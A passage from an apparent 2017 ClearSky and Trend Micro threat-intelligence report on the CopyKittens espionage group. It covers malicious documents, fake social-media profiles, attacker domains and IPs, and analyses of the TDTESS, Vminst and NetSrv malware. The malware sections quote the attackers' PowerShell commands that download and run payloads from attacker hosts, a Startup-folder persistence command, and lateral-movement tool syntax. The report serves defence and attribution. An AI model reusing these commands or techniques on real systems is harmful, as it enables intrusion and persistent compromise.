the real IP of the computer: Browser Plugins enumeration via JavaScipt code Internal IP detection with Java The data is sent to the attackers, and the victim is redirected to https://akamitechnology[.]com/. Collected data sent to server, then redirecting to new domain https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attackinfrastructure https://gist.github.com/kou1okada/2356972 Page 6 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 JavaScript and Java code loaded into webpage, victim is redirected after 20 seconds Malicious Documents The attackers use three document based exploitation types: exploiting CVE-2017-0199, embedding OLE objects, and macros. If the victim opens a document and the exploitation is successful (in the latter two, user interaction might be required), the attackers would receive access to the computer via self-developed or publicly available malware (see "Malware" chapter for more details). Exploiting CVE-2017-0199 On 26 April 2017, a malicious email was sent from an employee account that was likely breached within the Ministry of Northern Cyprus. It was sent to a disclosed recipients list in government institutions in several countries and other organizations, mostly in or related to ministries of foreign affairs. We should note, however, that it is possible that the attackers were interested only in a few of the recipient organizations, but sent it to a wider list because they showed up in previous correspondences in the breached account. Recipients were in the following domains: mofa.gov.vn mfa.gov.sg mfa.gov.tr post.mfa.uz mfa.am mfa.gov.by beijing.mfa.gov.il mofat.go.kr mfa.no athens.mfa.gov.il riga.mfa.sk amfam.com emfa.pt mfa.gov.il mfa.gov.mk bu.edu us.mufg.jp cyburguide.com newdelhi.mfa.gov.il hemofarm.co.yu mfat.govt.nz mfa.gr mfa.gov.lv mfa.gov.ua mfa.go.th mfa.gov.bn mfa.ee sbcglobal.net mfa.is Page 7 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The email is presented below:10 Redacted version of the malicious email sent form the Ministry of Foreign Affairs in the Turkish Republic of Northern Cyprus Attached to it was a document named "IRAN_NORTH-KOREA_Russia 20170420.docx".11 Content of the malicious document The document exploited CVE-2017-0199, downloading an rtf file from: update.microsoft-office[.]solutions/license.doc The rtf file loads a VBA script from: http://38.130.75[.]20/check.html https://www.virustotal.com/en/file/521687de405b2616b1bb690519e993a9fb714cecd488c168a146ff4bbf719f87/analysis/ https://www.virustotal.com/en/file/026e9e1cb1a9c2bc0631726cacdb208e704235666042543e766fbd4555bd6950/analysis Page 8 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Which runs a Cobalt Strike stager that communicates with: aaa.stage.14043411.email.sharepoint-microsoft[.]co In another case, the following document was uploaded to VirusTotal from Israel:12 "The North Korean weapons program now testing USA range.docx" Content of the malicious document and a prompt that opens when external links are updated It downloads an rtf document from: http://update.microsoft-office[.]solutions/license.doc This downloads VBA code that runs a Cobalt Strike stager from the following addresses: http://38.130.75[.]20/error.html Pivoting from update.microsoft-office[.]solutions, we found diagnose.microsoft-office[.]solutions, which pointed to 5.34.181.13. Using PassiveTotal we found 40.dc.c0ad.ip4.dyn.gsvr-static[.]co. Googling for gsvrstatic[.]co, we found another sample, gpupdate.bat," which runs PowerShell code that extracts a Cobalt Strike stager.13: Base64 encoded PowerShell code that loads Cobalt Strike stager https://www.virustotal.com/en/file/43fbf0cc6ac9f238ecdd2d186de397bc689ff7fcc8c219a7e3f46a15755618dc/analysis https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fb8bedcffe614bc342b89b4c80eae90e9aca78ff1eab8 Page 9 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The sample communicates with gsvr-static[.]co via DNS. DNS requests performed by the sample Yet in another case, malicious documents named omnews.doc and pictures.doc were served from the following locations: http://fetchnews-agency.news-bbc[.]press/en/20170/pictures.doc http://fetchnews-agency.news-bbc[.]press/omnews.doc The files load VBS from the following address: http://fetchnews-agency.news-bbc[.]press/pictures.html Which runs a Cobalt Strike stager that communicates with: a104-93-82-25.mandalasanati[.]info/iBpa From there, a Cobalt Strike beacon is loaded, communicating with: s1w-amazonaws.office-msupdate[.]solutions Page 10 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Embedded OLE Objects In February 2017 a document titled "ssl.docx" was delivered to targets, likely via email.14 It asked the recipient to "Please Update Your VPN Client from This Manual" [sic]. Content of the malicious document asking the victim to update the VPN Client The "VPN Client manual" was an embedded OLE binary object, an executable with a reverse file extension: checkpointsslvpn?fdp.exe. 15 (The "?" stands for an invisible Unicode character that flips the direction of the string, making it look like a PDF file "exe.pdf.")16 It was composed of two files: a self-extracting executable and a PDF. Bundled executable and PDF files They run via the following command: cmd.exe /c copy zWEC.tmp %userprofile%\desktop\Maariv_Tops.pdf&© Ma_1.tmp "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"\sourcefire.pif&&cd %userprofile%\desktop&&Maariv_Tops.pdf The PDF file is a decoy displayed to the victim during infection. It contains content copied on March 2017 from the public website of Maariv, a major Israeli news outlet. https://www.virustotal.com/en/file/b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d38 15dd/analysis https://www.virustotal.com/en/file/72efda7309f8b24cd549f61f2b687951f30c9a45fda0fc3805c12409d0ba320a/analysis/ Copykittens have used this this method before, for example in a document named "mfaformann?fdp.exe" Page 11 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Content of the malicious PDF file, copied from Maariv website The self-extracting executable contains another executable, named p.exe, which was digitally signed with a stolen certificate of a legitimate company called AI Squared. Digital signature of p.exe Interestingly, this digital certificate was used by a threat group called Oilrig.17 This might indicate the two groups share resources or otherwise collaborate in their activity. http://www.clearskysec.com/oilrig/ Page 12 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The self-extracting executable serves as a downloader, running the following command: cmd.exe /c powershell.exe -nop -w hidden -c "((new-object net.webclient).downloadstring('http://jpsrv-java-jdkec2.javaupdate[.]co:80/JPOST'))" The C&C server sends back a short PowerShell code that loads a Cobalt Strike stager into memory. Base64 encoded PowerShell code that loads Cobalt Strike stager into memory Stager shellcode with marked user agent and C&C server address Both the docx and the executable contained the name shiranz in their metadata or file paths: LastModifiedBy shiranz C:\Users\shiranz\Desktop\checkpointsslvpn?fdp.exe C:\Users\shiranz\AppData\Local\Temp\checkpointsslvpn?fdp.exe Page 13 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 In another sample, the decoy document was in Turkish, indicating the target's nationality.18 This document was likely stolen from the Turkish Ministry of Foreign Affairs: test_fdp.exe.19 Decoy document in Turkish While the decoy PDF document is opened, the following commands are executed: cmd.exe /c copy Ma_1.tmp "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"\CheckpointGO.pif&& copy sslvpn.tmp %userprofile%\desktop\sslvpnmanual.pdf&& cd %userprofile%\desktop&& sslvpnmanual.pdf cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://jpsrv-java-jdkec2.javaupdate[.]co:80/Sourcefire'))" https://www.hybrid-analysis.com/sample/a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37 https://www.virustotal.com/en/file/a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37/analysis Page 14 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Malicious Macros In October 2016, the attackers uploaded to VirusTotal multiple files containing macros, likely to learn if they are detected by antivirus engines. For example, "Date.dotm" contains this default Word template content:20 A default template of a Word document used as decoy The macro runs a Cobalt Strike stager that communicates with wk-in-f104.1c100.n.microsoft-security[.]host . The attackers also uploaded an executable files that would run a Word document with content in Hebrew.21 Hebrew decoy document The word document contains a macro that runs the following command: cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://pht.is.nlb-deploy.edge-dyn.e11.f20.ads-youtube. online/winini.exe','%TEMP%\XU.exe');&start %TEMP%\XU.exe& exit In parallel, the executable drops d5tjo.exe, which is the legitimate Madshi debugging tool 2223 https://www.virustotal.com/en/file/7e3c9323be2898d92666df33eb6e73a46c28e8e34630a2bd1db96aeb39586aeb/analysis/ https://www.virustotal.com/en/file/9e5ab438deb327e26266c27891b3573c302113b8d239abc7f9aaa7eff9c4f7bb/analysis https://www.virustotal.com/en/file/7ad65e39b79ad56c02a90dfab8090392ec5ffed10a8e276b86ec9b1f2524ad31/analysis http://help.madshi.net/madExcept.htm Page 15 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Fake Social Media Entities Back in 2013, CopyKittens used several Facebook profiles to spread links to a website impersonating Haaretz news, an Israeli newspaper. In the screenshot below you can see the fake profile linking to haarettz.co[.]il (note the extra t in the domain). "Erick Brown"24 Fake profile "Erik Brown" posting link to malicious website "Amanda Morgan"25 Fake profile "Amanda Morgan" posting link to malicious website The latter profile tagged a fake Israeli profile as her cousin, " Fake profile " https://www.facebook.com/israelhoughtonandplanetshakersphilippineconcert/posts/711649418845349 https://www.facebook.com/ynetnews/posts/548075141952763 https://www.facebook.com/profile.php?id=100003169608706 Page 16 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Who in turn tagged another fake Israeli profile as her cousin Fake profile " While "Erik Brown" has not been publicly active since September 2015, and the two other Israeli profiles have not been publicly active since September 2013, Amanda Morgan is still active to date. She has thousands of friends and 2,630 followers, many of which are Israeli. In 2015 she sent her friends an invitation to Like a Facebook page: "Emet press." Amanda Morgan invites its friends to like "Emet press" Emet press (Emet means "truth" in Hebrew), is described as a non-biased news aggregator operated by Israeli students aboard. However, the Hebrew text is clearly not written by someone who speaks Hebrew as a first language: Emet press Facebook page https://www.facebook.com/jessicacohe Page 17 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The page re-posted news stories in Hebrew copied from online news outlets until August 2016. 28 An accompanying website with similar content was published in www.emetpress[.]com. Emet press website Neither the Facebook page nor website have been used to spread malicious or fake content publicly. We estimate that they were used to build trust with targets, and potentially send malicious content in private messages, however we do not have evidence of such activity. Looking at the website source code reveals that it was built with NovinWebGostar, a website building platform. Emet press source code reveals that it was built with NovinWebGostar NovinWebGostar belongs to an Iranian web development company with the same name. Website of Iranian web development company NovinWebGostar https://www.facebook.com/emetpress Page 18 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Web Hacking Based on logs from internet-facing web servers in target organizations, we have detected that CopyKittens use the following tools for web vulnerability scanning and SQL Injection exploitation. Havij: "An automatic SQL Injection tool, [which is] distributed by ITSecTeam, an Iranian security company."29 Havij is freely distributed and has a graphical user interface. It is commonly used for automated SQL Injection and vulnerability assessments. sqlmap: An "automatic SQL Injection and database takeover tool."30 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL Injection flaws and taking over database servers. It is capable of database fingerprinting, data fetching from the database, and accessing the underlying file system and executing commands on the operating system via out-of-band connections. Acunetix: A commercial vulnerability scanner. "Acunetix tests for SQL Injection, XSS, XXE, SSRF, Host Header Injection and over 3000 other web vulnerabilities."31 http://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/ http://sqlmap.org https://www.acunetix.com Page 19 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Infrastructure Analysis Domains Below is a list of domains that have been used for malware delivery, command and control, and hosting malicious websites since the beginning of the group's activity.32 Domain registration date Impersonated company/product israelnewsagency[.]link 26/06/2015 Israeli News Agancy ynet[.]link fbstatic-akamaihd[.]com Cobalt Strike DNS wheatherserviceapi[.]info Cobalt Strike DNS Generic windowkernel[.]com Cobalt Strike DNS Microsoft Windows fbstatic-a[.]space Facebook gmailtagmanager[.]com Gmail mswordupdate17[.]com 03/10/2015 Microsoft Windows cachevideo[.]com Cobalt Strike DNS 13/12/2015 Generic cachevideo[.]online Cobalt Strike DNS Generic cloudflare-statics[.]com Cobalt Strike DNS Cloudflare digicert[.]online Cobalt Strike DNS DigiCert certificate authority fb-statics[.]com Cobalt Strike DNS Facebook cloudflare-analyse[.]com Matreyoshka Cloudflare twiter-statics[.]info Twitter winupdate64[.]com Microsoft Windows 1m100[.]tech 10/04/2016 Google cloudmicrosoft[.]net 19/04/2016 Microsoft windowslayer[.]in Matreyoshka 06/06/2016 Microsoft Windows mywindows24[.]in wethearservice[.]com Matreyoshka 11/07/2016 Generic akamaitechnology[.]com Cobalt Strike SSL / TDTESS 02/08/2016 Akamai ads-youtube[.]online Cobalt Strike SSL Youtube akamaitechnology[.]tech Cobalt Strike SSL Akamai alkamaihd[.]com Cobalt Strike SSL Akamai alkamaihd[.]net Cobalt Strike SSL Akamai qoldenlines[.]net Cobalt Strike SSL Golden Lines (Israeli ISP) 1e100[.]tech Google ads-youtube[.]net Youtube azurewebsites[.]tech Microsoft Azure chromeupdates[.]online Google Chrome elasticbeanstalk[.]tech Amazon AWS Elastic Beanstalk microsoft-ds[.]com Microsoft trendmicro[.]tech Trend Micro fdgdsg[.]xyz 03/08/2016 Generic microsoft-security[.]host Cobalt Strike SSL 09/08/2016 Microsoft Ynet Israeli news outlet 04/09/2015 Akamai Microsoft Windows Some have been reported in our previous public reports Page 20 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Domain registration date Impersonated company/product cissco[.]net Cobalt Strike DNS 29/08/2016 Cissco cloud-analyzer[.]com Cobalt Strike DNS Cellebrite (?) f-tqn[.]com Cobalt Strike DNS Generic mcafee-analyzer[.]com Cobalt Strike DNS Mcafee microsoft-tool[.]com Cobalt Strike DNS Microsoft mpmicrosoft[.]com Cobalt Strike DNS Microsoft officeapps-live[.]com Cobalt Strike DNS Microsoft officeapps-live[.]net Cobalt Strike DNS Microsoft officeapps-live[.]org Cobalt Strike DNS Microsoft primeminister-goverment-techcenter[.]tech 05/09/2016 Israeli Prime Minister Office sdlc-esd-oracle[.]online 09/10/2016 Oracle jguery[.]online BEEF 13/10/2016 Jquery javaupdate[.]co 16/10/2016 Oracle jguery[.]net BEEF 19/10/2016 Jquery terendmicro[.]com Cobalt Strike DNS 12/12/2016 Trend Micro windowskernel14[.]com 20/12/2016 Microsoft Windows gstatic[.]online 28/12/2016 Google ssl-gstatic[.]online broadcast-microsoft[.]tech Cobalt Strike DNS newsfeeds-microsoft[.]press Cobalt Strike DNS Microsoft sharepoint-microsoft[.]co Cobalt Strike DNS Microsoft dnsserv[.]host Generic nameserver[.]win Generic nsserver[.]host Generic owa-microsoft[.]online Microsoft Outlook owa-microsoft[.]online Cobalt Strike DNS Microsoft Outlook gsvr-static[.]co 13/02/2017 Generic winfeedback[.]net Cobalt Strike DNS 28/02/2017 Microsoft Windows win-update[.]com Cobalt Strike DNS intelchip[.]org Cobalt Strike DNS ipresolver[.]org Cobalt Strike DNS Generic javaupdator[.]com Cobalt Strike DNS Generic labs-cloudfront[.]com Cobalt Strike DNS Amazon CloudFront outlook360[.]net Cobalt Strike DNS Microsoft Outlook updatedrivers[.]org Cobalt Strike DNS Generic outlook360[.]org Cobalt Strike DNS Microsoft Outlook windefender[.]org Cobalt Strike DNS Microsoft microsoft-office[.]solutions gtld-servers.zone Cobalt Strike SSL Root DNS servers gtld-servers.solutions Cobalt Strike SSL Root DNS servers gtld-servers.services Cobalt Strike SSL Root DNS servers akamai-net.network azureedge-net.services Microsoft Azure cloudfront.site Cloudfront googlusercontent.center Google Google 18/01/2017 Microsoft Microsoft Windows 01/03/2017 23/04/2017 01/07/2017 Intel Microsoft Akamai Page 21 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Domain registration date Impersonated company/product windows-updates.network Microsoft Windows windows-updates.services Microsoft Windows akamaized.online cdninstagram.center netcdn-cachefly.network Akamai 01/07/2017 Instegram CacheFly Noteworthy observations about the domains: Domains impersonate one of four categories: Major internet and software companies and services Microsoft, Google, Akamai, Cloudflare, Amazon, Oracle, Facebook, Cisco, Twitter, Intel Security companies and products Trend Micro, McAfee, Microsoft Defender, and potentially Cellebrite Israeli organizations of interest to the victim News originations, Israeli Prime Minister Office, an Israeli ISP Other organizations or generic web services The attackers always use Whoisguard for Whois details protection.33 Domains are usually registered in bulk every few months. Long subdomains are created like those used by Content Delivery Networks. For example: wk-in-f104.1e100.n.microsoft-security[.]host ns1.static.dyn-usr.gsrv01.ssl-gstatic[.]online c20.jdk.cdn-external-ie.1e100.alkamaihd[.]net msnbot-sd7-46-194.microsoft-security[.]host ns2.static.dyn-usr.gsrv02.ssl-gstatic.online static.dyn-usr.g-blcse.d45.a63.alkamaihd[.]net ea-in-f155.1e100.microsoft-security[.]host is-cdn.edge.g18.dyn.usr-e12-as.akamaitechnology[.]com static.dyn-usr.f-login-me.c19.a23.akamaitechnology[.]com pht.is.nlb-deploy.edge-dyn.e11.f20.ads-youtube[.]online ae13-0-hk2-96cbe-1a-ntwk-msn.alkamaihd[.]com be-5-0-ibr01-lts-ntwk-msn.alkamaihd[.]com a17-h16.g11.iad17.as.pht-external.c15.qoldenlines[.]net Some of the domains have been in use for more than two years. http://www.whoisguard.com/ Page 22 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Often the attackers would point malicious domains to IPs not in their control. For example, as can be seen in the screenshot below from PassiveTotal, multiple domains and hosts (marked red) were pointed to a nonmalicious IP owned by Google.3435 Multiple domains and hosts pointing to a non-malicious IP owned by Google This pattern was instrumental for us in pivoting and detecting further malicious domains. Multiple domains and hosts pointing to a non-malicious IP owned by Google https://passivetotal.org/search/172.217.20.78 https://passivetotal.org/search/172.217.0.227 Page 23 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The table below lists IPs used by the attackers, how they were used, and their autonomous system name and number.36 Notably, most are hosted in the Russian Federation, United States, and Netherlands. Country AS name 206.221.181.253 Cobalt Strike United States Choopa LLC AS20473 66.55.152.164 Cobalt Strike United States Choopa LLC AS20473 68.232.180.122 Cobalt Strike United States Choopa LLC AS20473 173.244.173.11 Metasploit and web hacking United States eNET Inc. AS10297 173.244.173.12 Metasploit and web hacking United States eNET Inc. AS10297 173.244.173.13 Metasploit and web hacking United States eNET Inc. AS10297 209.190.20.149 United States eNET Inc. AS10297 209.190.20.59 United States eNET Inc. AS10297 209.190.20.62 United States eNET Inc. AS10297 209.51.199.116 Metasploit and web hacking United States eNET Inc. AS10297 38.130.75.20 United States Foxcloud Llp AS200904 185.92.73.194 United States Foxcloud Llp AS200904 146.0.73.109 Cobalt Strike Netherlands Hostkey B.v. AS57043 146.0.73.110 Netherlands Hostkey B.v. AS57043 146.0.73.111 Metasploit and web hacking Netherlands Hostkey B.v. AS57043 146.0.73.112 Cobalt Strike Netherlands Hostkey B.v. AS57043 146.0.73.114 Cobalt Strike Netherlands Hostkey B.v. AS57043 144.168.45.126 BEEF SSL Server United States Incero LLC AS54540 217.12.201.240 Cobalt Strike Netherlands ITL Company AS21100 217.12.218.242 Cobalt Strike Netherlands ITL Company AS21100 5.34.180.252 Cobalt Strike Netherlands ITL Company AS21100 5.34.181.13 Cobalt Strike Netherlands ITL Company AS21100 188.120.224.198 Cobalt Strike Russian Federation JSC ISPsystem AS29182 188.120.228.172 Russian Federation JSC ISPsystem AS29182 188.120.242.93 Cobalt Strike Russian Federation JSC ISPsystem AS29182 188.120.243.11 Russian Federation JSC ISPsystem AS29182 188.120.247.151 TDTESS Russian Federation JSC ISPsystem AS29182 62.109.2.52 Cobalt Strike Russian Federation JSC ISPsystem AS29182 188.120.232.157 Cobalt Strike Russian Federation JSC ISPsystem AS29182 185.118.65.230 Russian Federation LLC CloudSol AS59504 185.118.66.114 Russian Federation LLC CloudSol AS59504 141.105.67.58 Metasploit and web hacking Russian Federation Mir Telematiki Ltd AS49335 141.105.68.25 Cobalt Strike Russian Federation Mir Telematiki Ltd AS49335 141.105.68.26 Metasploit and web hacking Russian Federation Mir Telematiki Ltd AS49335 141.105.68.29 Metasploit and web hacking Russian Federation Mir Telematiki Ltd AS49335 141.105.69.69 Cobalt Strike Russian Federation Mir Telematiki Ltd AS49335 141.105.69.70 matreyoshka Russian Federation Mir Telematiki Ltd AS49335 141.105.69.77 Metasploit and web hacking Russian Federation Mir Telematiki Ltd AS49335 Some have been reported in our previous public reports Page 24 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Country AS name 31.192.105.16 Cobalt Strike Russian Federation Mir Telematiki Ltd AS49335 31.192.105.17 Metasploit and web hacking Russian Federation Mir Telematiki Ltd AS49335 31.192.105.28 Cobalt Strike Russian Federation Mir Telematiki Ltd AS49335 158.69.150.163 Cobalt Strike Canada OVH SAS AS16276 176.31.18.29 Cobalt Strike France OVH SAS AS16276 188.165.69.39 Cobalt Strike France OVH SAS AS16276 192.99.242.212 Cobalt Strike Canada OVH SAS AS16276 198.50.214.62 Cobalt Strike Canada OVH SAS AS16276 51.254.76.54 Cobalt Strike France OVH SAS AS16276 198.55.107.164 United States QuadraNet Inc AS8100 104.200.128.126 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.161 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.173 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.183 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.184 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.185 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.187 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.195 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.196 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.198 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.205 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.206 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.208 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.209 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.48 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.58 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.64 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 104.200.128.71 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 107.181.160.138 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 107.181.160.178 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 107.181.160.194 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 107.181.160.195 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 107.181.161.141 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 107.181.174.21 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 107.181.174.228 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 107.181.174.232 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 107.181.174.241 Cobalt Strike United States Total Server Solutions L.L.C. AS46562 86.105.18.5 Cobalt Strike Netherlands WorldStream B.V. AS49981 93.190.138.137 Netherlands WorldStream B.V. AS49981 212.199.61.51 Cobalt Strike Israel 012 Smile Communications LTD. AS9116 80.179.42.37 Israel 012 Smile Communications LTD. AS9116 80.179.42.44 Israel 012 Smile Communications LTD. AS9116 Page 25 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Recently the attackers implemented self-signed certificates in some of the severs they manage, impersonating Microsoft and Google.37 Self-signed digital certificate impersonating Microsoft as captured by censys.io https://censys.io/certificates/f4aaac7d6aafc426d1adbe3b845a26c4110f7c9e54145444a8668718b84cbdb0 Page 26 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Malware In this chapter we analyze and review malware used by CopyKittens. TDTESS Backdoor TDTESS (22fd59c534b9b8f5cd69e967cc51de098627b582) is 64-bit .NET binary backdoor that provides a reverse shell with an option to download and execute files. It routinely calls in to the command and control server for new instructions using basic authentication. Commands are sent via a web page. The malware creates a stealth service, which will not show on the service manager or other tools that enumerate services from WINAPI or Windows Management Instrumentation. Installation and removal TDTESS can run as either an interactive or non-interactive (service) program. When called interactively, it receives one of the two arguments: installtheservice to install itself or uninstalltheservice to remove itself. The arguments are described below: installtheservice If running with administrator privileges, it will install a service with the following characteristics: Key name: bmwappushservice Display name: bmwappushsvc Description: WAP Push Message Routing Service Type: own (runs in its own process) Start type: auto (starts each time the computer is restarted and runs even if no one logs on to the computer) Path:
(In our analysis: c:\Users\PC008\Desktop\t.exe) Security descriptor: D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLC SWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;F A;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) Service information from command-line using sc tool The hardcoded security descriptor used to create the service is a persistence technique. Interactive users, even if they are administrators, cannot stop or even see the service in services.msc snap-in. Page 27 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Following is a list of denied commands: service_change_config service_query_status service_stop service_pause_continue delete Service information in Registry Two log files are created during the service installation, but deleted by the program. Following is their recovered content: InstallUtil.InstallLog .t.InstallLog After creating the service, it will update the file creation time to that of the following file: %windir%\system32\svchost.exe Page 28 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 uninstalltheservice If running with administrator privileges, it will uninstall the said service, create log files and then deletes them. InstallUtil.InstallLog .t.InstallLog Because the service installing mechanism appears to be default for .NET programs, the creator of the tool deletes the log files right after they are created. If no argument is given when called interactively, the program terminates itself. Functionality The service is started immediately after installation. After five minutes, it verifies internet connectivity by making a HTTP HEAD request to microsoft.com. Then it tries to access the C&C servers looking for commands. Hardcoded HTTP parameters and URL Page 29 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 As a reply, TDTESS expects one of the following Bas64 encoded commands: getnrun - download and execute a file. Parameters are drop, drop_path and t. runnreport - send information about the computer. Parameters are cmd and boss. wait - time to next interval to get data. Getnrun command and parameters Indicators of Compromise File name: tdtess.exe md5: 113ca319e85778b62145019359380a08 Services: bmwappushservice Registry Keys: HKLM\System\CurrentControlSet\Services\bmwappushservice URLs: http://is-cdn.edge.g18.dyn.usr-e12-as.akamaitechnology[.]com/deploy/assets/css/main/style.min.css http://a17-h16.g11.iad17.as.pht-external.c15.qoldenlines[.]net/deploy/assets/css/main/style.min.css HTTP artifacts: "User-Agent : XXXXXXXXXXXXXXXXX/5.0 (Windows NT 6.1 WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "Proxy-Authorization : Basic [Data]" [Data] Will contain the TDTESS encrypted data to send Page 30 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Vminst for Lateral Movement Vminst (a60a32f21ac1a2ec33135a650aa8dc71) is a lateral movement tool used to infect hosts in the network using previously stolen credentials. It Injects Cobalt Strike into memory of infected hosts. The binary implements ServiceMain and is intended to be installed as a service named sdrsrv. When it functions as a service, it injects Cobalt Strike beacon into its own process (which is 32-bit svchost ) or creates a new 32-bit rundll32 process and injects the beacon into the new process. The injection method depends on the parameter received when the service was created. It is configured to open a new rundll32 process in suspend-mode and create a remote thread which executes a Cobalt Strike beacon or shellcode. The binary has the option to run and load itself in memory. It also has the option to be executed through its exported function "v," which gets a base64 string parameter built as follows: Base-64-Encode( /mv /OptionalCommand OptionalCommand can be one of the following: help - prints usage instructions: [*] /help V160\n Get : Create Service and run beacon over self thread\n [*] /get ip (use current token)\n [*] /get ip domain user pass\n [*] /get ip user pass\n New : Create Service and run beacon over new rundll32.exe thread\n [*] /new ip (use current token)\n [*] /new ip domain user pass\n [*] /new ip user pass\n [*] /new ip user pass\n Del : Delete service and related dlls from remote host [*] /del ip domain user pass\n [*] /del ip user pass\n [*] /del ip\n Run : Run a new beacon !\n [*] /run [no arguments] del - stops and deletes the service sdrsrv, and deletes the following files: \\ [IP or computer name (Can be Localhost)]\C$\Users\public\vminst.tmp \\ [IP or computer name (Can be Localhost)]\C$\Windows\Temp\vminst.tmp \\ [IP or computer name (Can be Localhost)]\C$\Windows\vminst.tmp scan - sends [ok] to the parent of its parent process. info - sends [ok] to the parent of its parent process. run - injects a beacon into a new rundll32 process. get - gets an IP address, installs and starts the sdrsrv service in the remote hosts. new - gets IP address, deletes the old vminst from install path, and installs the sdrsrv service in the remote hosts. Then, starts the service with parameter NEW_THREAD that runs the service. This command is likely used for updating the implant. The attacker uses vminst.tmp to spread across the organization. Using the command rundll32 vminst.tmp,v /mv /get ip-segment credentials it enumerates the segments and tries to connect to the hosts through SMB GetFileAttributes to network path), installing the sdrsrv service in each host it can access. Page 31 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Indicators of Compromise File name: vminst.tmp md5: A60A32F21AC1A2EC33135A650AA8DC71 Services: sdrsrv Registry Keys: HKLM\System\CurrentControlSet\Services\sdrsrv Path: \\ [IP or computer name (Can be Localhost)]\C$\Users\public\[File] \\ [IP or computer name (Can be Localhost)]\C$\Windows\Temp\[File] \\ [IP or computer name (Can be Localhost)]\C$\Windows\[File] File, one of: vminst.tmp - The malware l.tmp - Log file from last V command NetSrv Cobalt Strike Loader NetSrv (efca6664ad6d29d2df5aaecf99024892) loads Cobalt Strike beacons and shellcodes in infected computers. The binary implements ServiceMain, intended to be installed as a service named netsrv. When it functions as a service, it is configured to open a new rundll32 process in suspend-mode and create a remote thread that executes a Cobalt Strike beacon or shellcode. The binary also has the option to be executed with parameters that determine what it will inject into the rundll32 process. The command-line is as follows: netsrv.exe /managed /ModuleToInject The ModuleToInject can be one of these options: sbdns slbdnsk1 slbdnsn1 slbsbmn1 slbsmbk1 Each of these options injects a Cobalt Strike beacon or shellcode into the rundll32 process. Indicators of Compromise File names: netsrv.exe netsrva.exe netsrvd.exe netsrvs.exe Services: netsrv netsrvs netsrvd Registry Keys: HKLM\System\CurrentControlSet\Services\netsrv HKLM\System\CurrentControlSet\Services\netsrvs Page 32 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 HKLM\System\CurrentControlSet\Services\netsrvd Matryoshka v1 RAT Matryoshka v1 